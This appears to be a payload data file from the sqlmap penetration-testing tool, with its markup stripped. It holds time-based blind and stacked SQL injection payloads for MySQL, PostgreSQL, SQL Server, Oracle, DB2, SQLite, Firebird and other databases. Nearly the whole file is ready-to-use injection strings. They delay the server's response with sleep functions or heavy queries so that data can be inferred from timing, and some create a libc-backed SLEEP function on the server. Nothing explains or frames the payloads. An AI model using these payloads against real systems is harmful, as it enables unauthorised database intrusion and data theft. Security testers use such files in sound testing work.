PostgreSQL stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
PostgreSQL
PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) --
PostgreSQL < 8.2 Linux
PostgreSQL < 8.2 stacked queries (Glibc) 4 5 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
PostgreSQL < 8.2 Linux
Microsoft SQL Server/Sybase stacked queries (comment) 4 1 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) 4 2 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries 4 4 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]'
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries (DECLARE) 4 5 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
Microsoft SQL Server Sybase
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 1 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL --
Oracle
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) 4 4 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
Oracle
Oracle stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 --
Oracle
Oracle stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP - comment) 4 4 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
Oracle
Oracle stacked queries (USER_LOCK.SLEEP - comment) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (USER_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
Oracle
IBM DB2 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 --
IBM DB2
IBM DB2 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
IBM DB2
SQLite > 2.0 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
SQLite > 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
Firebird stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 --
Firebird >= 2.0
Firebird stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
Firebird >= 2.0
SAP MaxDB stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 --
SAP MaxDB
SAP MaxDB stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
SAP MaxDB
HSQLDB >= 1.7.2 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 2.0 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 2.0
HSQLDB >= 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 2.0
sqlmap-1.9.6/data/xml/payloads/time_blind.xml000066400000000000000000002335151502261744200212150ustar00rootroot00000000000000 MySQL >= 5.0.12 AND time-based blind (query SLEEP) 5 1 1 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (query SLEEP) 5 1 3 1,2,3,9 1 OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (SLEEP) 5 2 1 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (SLEEP) 5 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) 5 3 1 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) 5 3 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment) 5 3 1 1,2,3,9 1 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment) 5 3 3 1,2,3,9 1 OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL < 5.0.12 AND time-based blind (BENCHMARK) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL < 5.0.12
MySQL > 5.0.12 AND time-based blind (heavy query) 5 3 2 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL < 5.0.12 OR time-based blind (BENCHMARK) 5 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL < 5.0.12
MySQL > 5.0.12 OR time-based blind (heavy query) 5 3 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL < 5.0.12
MySQL > 5.0.12 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) #
MySQL > 5.0.12
MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL < 5.0.12
MySQL > 5.0.12 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) #
MySQL > 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind 5 2 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) RLIKE SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (comment) 5 4 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) RLIKE SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP) 5 3 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment) 5 4 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL AND time-based blind (ELT) 5 3 1 1,2,3,8,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL >= 5.0.12
MySQL OR time-based blind (ELT) 5 3 3 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
MySQL AND time-based blind (ELT - comment) 5 5 1 1,2,3,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) #
MySQL
MySQL OR time-based blind (ELT - comment) 5 5 3 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) #
MySQL
PostgreSQL > 8.1 AND time-based blind 5 1 1 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL > 8.1 OR time-based blind 5 1 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL > 8.1 AND time-based blind (comment) 5 4 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) --
PostgreSQL > 8.1
PostgreSQL > 8.1 OR time-based blind (comment) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) --
PostgreSQL > 8.1
PostgreSQL AND time-based blind (heavy query) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
PostgreSQL OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
PostgreSQL AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) --
PostgreSQL
PostgreSQL OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) --
PostgreSQL
Microsoft SQL Server/Sybase time-based blind (IF) 5 1 1 0 1 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' WAITFOR DELAY '0:0:[SLEEPTIME]'
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase time-based blind (IF - comment) 5 4 1 0 1 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' WAITFOR DELAY '0:0:[SLEEPTIME]' --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND time-based blind (heavy query) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --
Microsoft SQL Server Sybase
Oracle AND time-based blind 5 1 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
Oracle
Oracle OR time-based blind 5 1 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
Oracle
Oracle AND time-based blind (comment) 5 4 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) --
Oracle
Oracle OR time-based blind (comment) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) --
Oracle
Oracle AND time-based blind (heavy query) 5 2 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
Oracle
Oracle OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
Oracle
Oracle AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) --
Oracle
Oracle OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) --
Oracle
IBM DB2 AND time-based blind (heavy query) 5 3 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
IBM DB2 OR time-based blind (heavy query) 5 3 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
IBM DB2 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) --
IBM DB2
IBM DB2 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) --
IBM DB2
